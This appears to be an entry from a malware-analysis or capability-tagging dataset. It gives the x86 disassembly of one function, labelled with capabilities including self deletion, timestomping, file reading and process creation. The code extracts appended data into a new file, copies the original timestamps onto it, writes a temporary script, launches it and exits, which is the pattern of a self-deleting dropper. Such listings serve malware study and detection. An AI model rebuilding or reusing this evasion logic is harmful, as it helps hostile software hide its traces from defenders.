Function at 0x40c260
Capabilities:
Create process on windows
Delete file
Get common file path
Get file size
Read file on windows
Self delete
Timestomp file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x5a
push 0
push 0
dec ecx
jne 0x40c268
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x40c6cf
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x298]
xor eax, eax
call fcn.00402724
mov eax, dword [ebp - 0x298]
mov edx, 0x40
call fcn.00404b0c
mov esi, eax
cmp esi, 0xffffffff
je 0x40c6a4
push 0
push esi
call sub.kernel32.dll_GetFileSize
cmp eax, dword [0x40f9c8]
setg bl
test bl, bl
je 0x40c69e
lea edx, [ebp - 0x29c]
mov eax, 0x40c6e8
call fcn.00404d24
mov eax, dword [ebp - 0x29c]
push eax
lea edx, [ebp - 0x2a0]
xor eax, eax
call fcn.00402724
mov edx, dword [ebp - 0x2a0]
lea eax, [ebp - 0x14]
pop ecx
call fcn.00403408
mov eax, dword [ebp - 0x14]
call fcn.004035bc
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp - 0x14]
call fcn.00404afc
test al, al
jne 0x40c69e
mov eax, dword [ebp - 0x14]
call fcn.0040495c
mov edi, eax
cmp edi, 0xffffffff
je 0x40c69e
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
call sub.kernel32.dll_GetFileTime
lea eax, [ebp - 0x1c]
mov edx, 0x40c6f8
call fcn.00403214
lea eax, [ebp - 0x2a8]
mov ecx, 0x40c708
mov edx, dword [ebp - 0x1c]
call fcn.00403408
mov eax, dword [ebp - 0x2a8]
lea edx, [ebp - 0x2a4]
call fcn.00404d24
mov eax, dword [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x2ac]
call fcn.0040c210
mov edx, dword [ebp - 0x2ac]
lea eax, [ebp - 0x10]
pop ecx
call fcn.00403408
mov eax, dword [ebp - 0x10]
call fcn.0040495c
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40c3fd
mov eax, dword [0x40f9c8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x40c3ee
push 0
lea eax, [ebp - 8]
push eax
mov edx, 0x1000000
mov eax, dword [ebp - 0xc]
call fcn.0040c208
push eax
mov eax, dword [0x40f9b0]
push eax
push esi
call sub.kernel32.dll_ReadFile
cmp dword [ebp - 8], 0
je 0x40c3ee
mov eax, dword [ebp - 8]
sub dword [ebp - 0xc], eax
mov edx, dword [0x40f9b0]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00404980
cmp dword [ebp - 0xc], 0
ja 0x40c3ab
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle
mov byte [ebp - 0x35], 1
jmp 0x40c401
mov byte [ebp - 0x35], 0
push 0
push 0
mov eax, dword [0x40f9c8]
push eax
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push 0x1000000
mov eax, dword [0x40f9b0]
push eax
push esi
call sub.kernel32.dll_ReadFile
cmp dword [ebp - 8], 0
je 0x40c440
mov edx, dword [0x40f9b0]
mov ecx, dword [ebp - 8]
mov eax, edi
call fcn.00404980
jmp 0x40c411
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call sub.kernel32.dll_SetFileTime
push edi
call sub.kernel32.dll_CloseHandle
mov byte [ebp - 0x13a], 0
lea eax, [ebp - 0x13a]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
mov byte [ebp - 0x23f], 0
lea eax, [ebp - 0x23f]
push eax
push 0
lea edx, [ebp - 0x2b0]
mov eax, 0x40c718
call fcn.00404d24
mov eax, dword [ebp - 0x2b0]
call fcn.004035bc
push eax
lea eax, [ebp - 0x13a]
push eax
call sub.kernel32.dll_GetTempFileNameA
lea edx, [ebp - 0x2b4]
mov eax, 0x40c728
call fcn.00404d24
mov eax, dword [ebp - 0x2b4]
push eax
lea eax, [ebp - 0x2b8]
lea edx, [ebp - 0x23f]
mov ecx, 0x105
call fcn.004033a4
mov eax, dword [ebp - 0x2b8]
lea ecx, [ebp - 0x18]
pop edx
call fcn.004049b4
mov eax, dword [ebp - 0x18]
call fcn.004035bc
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp - 0x18]
call fcn.0040495c
mov edi, eax
cmp edi, 0xffffffff
je 0x40c69e
push 0x40c738
lea edx, [ebp - 0x2bc]
xor eax, eax
call fcn.00402724
push dword [ebp - 0x2bc]
push 0x40c750
push 0x40c75c
lea edx, [ebp - 0x2c0]
xor eax, eax
call fcn.00402724
push dword [ebp - 0x2c0]
push 0x40c770
push 0x40c77c
push 0x40c794
push dword [ebp - 0x14]
push 0x40c7a4
lea edx, [ebp - 0x2c8]
xor eax, eax
call fcn.00402724
mov eax, dword [ebp - 0x2c8]
lea edx, [ebp - 0x2c4]
call fcn.0040477c
push dword [ebp - 0x2c4]
push 0x40c750
push 0x40c75c
push dword [ebp - 0x14]
push 0x40c770
push 0x40c7b0
push 0x40c770
lea edx, [ebp - 0x2cc]
xor eax, eax
call fcn.00402724
push dword [ebp - 0x2cc]
push 0x40c750
push 0x40c7c8
push 0x40c7d8
push dword [ebp - 0x18]
push 0x40c750
lea eax, [ebp - 0x1c]
mov edx, 0x17
call fcn.0040347c
mov eax, dword [ebp - 0x1c]
call fcn.004033bc
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004035bc
mov edx, eax
mov eax, edi
pop ecx
call fcn.00404980
push edi
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x294]
xor ecx, ecx
mov edx, 0x44
call fcn.004027f4
mov dword [ebp - 0x268], 1
mov word [ebp - 0x264], 0
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x294]
push eax
lea edx, [ebp - 0x2d4]
xor eax, eax
call fcn.00402724
mov eax, dword [ebp - 0x2d4]
lea edx, [ebp - 0x2d0]
call fcn.004046c8
mov eax, dword [ebp - 0x2d0]
call fcn.004035bc
push eax
push 0
push 0x40
push 0
push 0
push 0
mov eax, dword [ebp - 0x18]
call fcn.004035bc
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x40c69e
mov eax, dword [ebp - 0x24c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x250]
push eax
call sub.kernel32.dll_CloseHandle
cmp byte [ebp - 0x35], 0
je 0x40c697
mov eax, dword [0x40f9c0]
push eax
call sub.kernel32.dll_CloseHandle
xor edx, edx
mov eax, dword [ebp - 0x10]
call fcn.0040a398
push 0
call sub.kernel32.dll_ExitProcess_1
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c6d6
lea eax, [ebp - 0x2d4]
mov edx, 0x10
call fcn.004031a0
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.004031a0
ret